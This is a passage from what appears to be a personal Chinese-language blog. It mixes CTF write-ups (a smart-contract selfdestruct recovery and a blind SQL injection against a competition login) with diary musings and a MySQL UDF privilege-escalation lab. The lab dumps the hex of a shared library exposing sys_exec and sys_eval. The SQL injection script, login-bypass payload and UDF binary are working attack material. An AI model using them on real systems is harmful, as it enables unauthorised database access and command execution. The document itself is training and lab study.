balances[msg.sender] = msg.value * 10;
}

// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

第一次 generateToken() 生成的 SimpleToken 合约地址丢失了,现在要想办法恢复向原 SimpleToken 发送的0,001 Ether

区块链上的动作都是透明的,故而用 Etherscan 查询 instance 合约的交易记录:

发现创建合约,点进去查看余额和目标 SimpleToken 的地址:

找到了丢失的合约地址,又因为合约具有 destroy 函数,调用即可;

题解

attack contract

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract RecoveryAttack {
event log(bool);
event log(string);

constructor(address _victim) {
(bool is_success,) = _victim.call(abi.encodeWithSignature("destroy(address)", payable(tx.origin)));
emit log(is_success);
}
}

exploit 最短的一集,重点还是区块链上函数调用记录的透明性;

庆祝生活回到正轨且正轨变宽

想起来我删了很久的一条:

1
// 那就让我们来比一比,看看谁活得更精彩。

输了我就躺下,不过好像一直在赢,多久会输呢,敢不敢输呢;

没想过,我相信不是不敢想,而只是被蒙蔽住了,或者占用掉了。

长城杯复赛

线下赛没有线上紧张,第一是自己的事情,第二不用抢题做,大概我还在愚昧之峰;

Web

GreatSQL

说是 sqlmap 可以梭?倒显得我不会用 sqlmap 了;

一个登录框,登录成功即可获得 flag ;

会提示用户是否存在,随便试了几个,admin 不存在,user 存在;

盲注爆一下 user 的密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://39.106.48.123:39446/login"
if __name__ == "__main__":
right_password = ''
for password_i in range (50):
for char in '1234567890qwertyuiopasdfghjklzxcvbnm':
ascii_i = ord(char)
data = {"username":f"user\'and ascii(substr(password,{password_i},1))={ascii_i};#","password":"qst"}
resp = requests.post(url=url,data = data)
if len(resp.text) == 4:
print(ascii_i,end='')
right_password = right_password+chr(ascii_i)
print(f'now:{right_password}')
print(password_i)
# now:e10adc3949ba59abbe56e057f20f883e

爆 md5,密码是 md5('123456')

登录提示要 login as admin,类似盲注爆一下用户名,爆出 test,pika 两个,分别爆密码:

1
2
3
4
5
6
7
# test
# now:098f6bcd4621d373cade4e832627b4f6
# md5('test')

# pika
# now:81ccafb8ef19e583f737f569c51d3cde
# not a weak md5

登了没用,没有 admin;

sql 执行出错会报不存在,测一下后台 select 的列数,username 为user' union select 1,2,3,4 显示密码错误而非不存在,说明结果有四列;

最终 payload:

urlencode('username=usr' union select 1,2,'e10adc3949ba59abbe56e057f20f883e','admin';#&password=123456)

Todo List

需要看一些 Java,我总感觉 OpenGauss 连网条件下应该很简单;

还需要学学如何配网;

然后把 sqlmap 用明白。

壹个梦

好热血啊感觉,和离人哀吹牛逼吹出来的她自己一样;

睡醒保护自己,总要加工一下的,嘴里说出来的梦半真半假,现在去回忆,已然混作一团,全当真的去了;

啊,操,我是真的很懂我自己;

总结

最喜欢的某种设定

说不上来,大概是某种我没有经历过但却幻想自己经历过的真实,比如热血青春;

像这样:

次喜欢的某种设定

我,自恋型人格,无障碍,S,暴力 S;

自我保护

不能沉溺咯,那是你错过了又回不去的沈阳;

全没睡

搞笑了;

序言

我总感觉梦到那些他她死去,是一件很龌龊的事情,难道你觉得对他人此生的奉献已经足够?你已经做得足够好?

差得远了,小秦,醒醒!

提权学习之壹

After getting shell;

Mysql UDF

环境准备

docker

1
2
3
4
5
# Notice the order of args
docker run --name udf-test-mysql -p 33333:3306 `
-v "D:\works\Privilege Escalation\Mysql UDF\Docker Environment\mysql\log:/var/log/mysql" `
-v "D:\works\Privilege Escalation\Mysql UDF\Docker Environment\mysql\data:/var/lib/mysql" `
-e MYSQL_ALLOW_EMPTY_PASSWORD=yes -d mysql:9.0.1

连接

1
mysql -hlocalhost -P33333 -uroot

RCE 操作

检查 UDF 相关变量:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
SHOW VARIABLES LIKE "%plugin%";
/*
+-----------------------------------------------+--------------------------+
| Variable_name | Value |
+-----------------------------------------------+--------------------------+
| plugin_dir | /usr/lib64/mysql/plugin/ |
| replication_optimize_for_static_plugin_config | OFF |
+-----------------------------------------------+--------------------------+
*/

SHOW VARIABLES LIKE "%secure_file%";
/*
+------------------+-----------------------+
| Variable_name | Value |
+------------------+-----------------------+
| secure_file_priv | /var/lib/mysql-files/ |
+------------------+-----------------------+
*/

这里发现 secure_file_priv 不为空,不符合 UDF 提权条件,手动改一下 /etc/my.cnf

1
2
# secure-file-priv=xxx
secure-file-priv=

还要修改 /usr/lib64/mysql/plugin/ 的写权限;

尝试写文件:

1
2
select '1111' into dumpfile '/usr/lib64/mysql/plugin/';
# Query OK, 1 row affected (0.001 sec)

可以开始操作了,随便找个 payload 试试水:

1
2
od /usr/share/sqlmap/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ -An -t x | tr -d ' '|tr -d '\n'
# 0b9aaa3d933b3a1976f47629a935024b42843605c8d2427a7b5e107ea7cd6c4ed771d77d05645c9089338cf377ceaa870865b0be15cefef76995cb5ed032e52af3fb6393961c1328b117531a102779627bf986f2fee81feee42a22a60dd36202a54cd9f982f4243e98f3b54b6d038c729c8acb9a7f8f2815d8ac32bfe18dd2845171ba6f78e1c5b3d687597b156005761825400ab003e6a4228355fde3beac0cb19c26d3da09fe187ca4f8917d5c7d95311eca2fef4b6b08c9b72c573bf0368f34aa239368718cd3ca0bf2cff35493f49b6add4b6f18a6b1d2e91da3a3ad6ff2e6e8c2266226899553ca1af8a5660acd9ec5adf39e27a028d1ae008308f4420836ce35db07e4a3295e848e3d1c3aa688b14a6911bcb0bf4fdbb5c6de32bbc46735c0bc93538cfa9d9d5c256f0daeafbdb4604926ad431a56c2ba70fb5a9a76e8a608793949d5ea9beb6eb6b375592b9c4812c94713b96c1c50e8237073f885cfd4e7e9483b65641dea7e040c98109991baa4ddb5cadd6481bc41f6f071f86b7f66ddc8c8b5cfc9989acf634fdfb95da6f610ca2c8ca11d831c4913cd53bb61b5f5084477479787c64dd97abdb1b2efc1cd9426a28242aa035aea4477191c9dcaa14ecce677ce4f4d575db1f0a5812abd9be40ce661f566a22bbd8436f970efeda3f411b8b13b2439a8bd05b32988645f4da43139bef1f17c2ac76abf4404e7e7af46c196ddd39014cc7ba2ce36e527ae19b99f4b30afcfb7d6c9469e29db80d0570d037f4807fc2bbc530006c362ff5eed51c80d5c77722eca141c122bfb83d770488b2a6fbd951943834bfb7cfcdc2c14bde3a57f54c74c6ba261ec833d1ebb83de4caf0c9fb93f6a64af8e2e7cd4d277f0126c5e117e5b43fe28ec6a0787ced4e917adffcc08d24f7f19a1ee15ebba250e146090a06b1a5ee2ac492432226112e68ffc6005baeb8e9a161197f88f5e32d61658382c8daa277b17c5efea3781a0192acd8c200ce6e30441237db2c31632c94c943f024d1ab77c04b2db49819b6b09ea523123f9865541b0c7ba7d8703ee33dbe263ac3bbcc5e24a4bfb2f92ea8b9b15c162b6cb6465bc95c9772c914a8317a700e5117420cdb2271333f32dcedcde9c4530c2f94e206700a6df1876b07bb71b515b3584511aaad2cfcd4f0a60d4bb29318defa71de36f3730957012e2f5b6f9aa937119ae6b7d9c0ca48e17f6fc8ecb42f246f9cd9d81659e2778e5962e02d308b50ef00bb3a0222993b6a3f2b1e44959799424459486d6be1289bf55b1f6be07a0074acf82cc0bc873cd5a9c783849db79962e8706b387f132a3377a67166bbbbc8bd9a568bd55bdbb8db6cdd3c90ef66245af81797bb8f44fa4eafcaa9259cba307d83e8add3748013911a1ae86f99f836ea99c26baa97fbb88f65f60090e023c8d49a55c858e3b8fa4f9fd302e51adb607b005503e0d9db7d4726d0433c2277c461f4dab301d3e71d8914ada203896a622e679f9905b62ceffad2dad63cb57d9466778d2a0d57404558a531f8f975956eceea65fbe195fc37d35217080bc6b2cfb73a45441f1951b4ff2c50e153cb950c5df402ece0ddfa8ddd860402b54759bad6d6bfb11c5735cffcf6b5b4de87454f39349a9659dd3c602c6574657a81617e416cded7bf1ad069fe09b618679bebb00a5ea59036719a8d89fdd8250befc5f54059c5aaf774105563a86a6a0cbe1ebe10e45a1feb8dbcd44e7d5815b54b0acdb25e2473ee1ae78eee80c78d1e60b8d1170c51679dd67a3e89c74906d6f807e64a932fa5e5ff650985bc39d15ccc12a3c1fc257a874bad460b992725aa258573665ba11830ffc110cc4392d43b105b946da252c421d01a61c4ecb2a7e8c19049c7f173a1da8254c8773a5a7fde8e9e0eaa10c2ced3a7b3044a9bb17e12731e61dac8d3ad541c2e1d98da4d5d1ee83e66541d32caacbd79b41c2e906340fe8eda2ddac57b84eebac940d6f273068df8d1fa207722ea2c5a78cfde9848866461d86a70337209f01af5a08e4356b9ec348c98107d4f194c0710971cf2fc6bc9577f08e62a668a133df5079266470edbbabf66eb55588f1b5223dae6db37f4f03d30b0db36db07465eeb2a8e6042b1cbfed6971482ff0a91be0b3c8faeb7528d2d108065ab007e983182bf84303a3664355c2e4e1bda9f655a4dbbbc37f207b03aa69ad64c8ca6b9e5ff0e900f22195712fa93a25bdf96576914e8dc4f13f03402a3afd8a58e0822d5fb9c8f80e3ef627506bdd08d2d02e931d6e3e4d2ac3d30171e409d540f31414a43d3c0c802725efd89c1691eeec1b9b12e73ac52cdf8facc737bc7932973e2af096a3a331bfb6e1adc62b7e1153fb79fc7fa7f7c1f3927d2ff1c2a48a12afe4ea414e0ffac3dad92e98b61b34ae2c8ce7f2acaf0e82f988dbe828517c29988513ada873c4bebab1e41f2ec6b9e43fec9562de55ce2c0b8673e581b764b3338c6fa82d3b07c2c1a0e174419298d1693ede29ed943476ebf0a6b15e41fb627988da2b6454b193a36e94ad7813e98c8ddac3a0d17a82d79dcfc547017443232762f206b77d1f87638a6e8fcdf08fbce5a893a97442defb371fef65c758f641f25860e30490ba14e2e29f3c0aca0dbc93f04bd46af824443795a82f4e62866c4a5578f36eb56c047cc9e59ffd1811bb269c1ad944c0880ee4ed59a71cfbdbad3424fc44b36510a5c06969cab7c820cc927091d937a4246603140839ee8e9af5fe2e9d7e137d83e9895b7d55c333d8ec20caf378f70089ad7a188abfd5219807825abc6f7fd2f75a7d79cf388a6fd888aadfa4657fe1e1c624c10ad8f6d8e20ddeacd513a70adb9fa486ab01f7b09157d6e5d20f29aa95ce5dc1a4ff2b6a139537030d1384836952d9f19cc1d0359b2d7b66dd08ecc1994f446bc27db33e1d87ef59385ce99576be6192bc495ebfe7ec2993413c6eae9cb7e9a942a11fe3c0eb15111c87522324780bc424a38e55697fcac7925598485309f73275d00f9433568a97652144c38744cc7c754525d2c35979dca08ae6268475e947d69f2de5484459f9814342db0c50eacf8f4d3caa5edc679614f109ecd18ab39a1bb7b57359b308c0cc4898a7137be23db974557c834a3b1efa04ca7557bc7b014508eb098df059dcae7810b08dd4c679f8a918473d6c11f78b492599fc47fb5f3426f8c325dea495b3dac75409b9cd0112428a6a6f362f0fdd6154d522bc5b2508b9d36a479e19a71c4eff57dbdee92dbe71c0c3a791db8aad477cfdf434d845b9024c97c956adf01ae065f273a411fd35e5e176d493ec383629a86d23721e1ed874520a6228718a9228ce038575823dae130a6fa3de09482ac7931e659775981938b797a5b9bb212596a94a98cf97972043da252f522f6ac64c365e66a690c92cbb10f80ce1042ab5e1e47795e89282bec7b188de490147bf13a6936183179ac09fab2382a945199c5fbaff60d0299a0a9fc9c980bc1f2f50387b23292e01646d01cf98aa976d0ba5f5de09a11bcb57dbc7b07f1f25a36d93c1a6cc3409a8fc199e48098ff7d6933bd1ed24795f4aec882b98571fec2eda0e8e9938954481a67c9295464fba2dee2bcd97502d8c3abb89b7a2fb094feeb7248b14638bfa802220769a1f9e2414c6f97494dbd50c04da450467bb2cb42b7d11757e253471da8423069a1f189bc4861c23778f4d976bbac4c15a57

写入 .so 文件(不是同一个):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564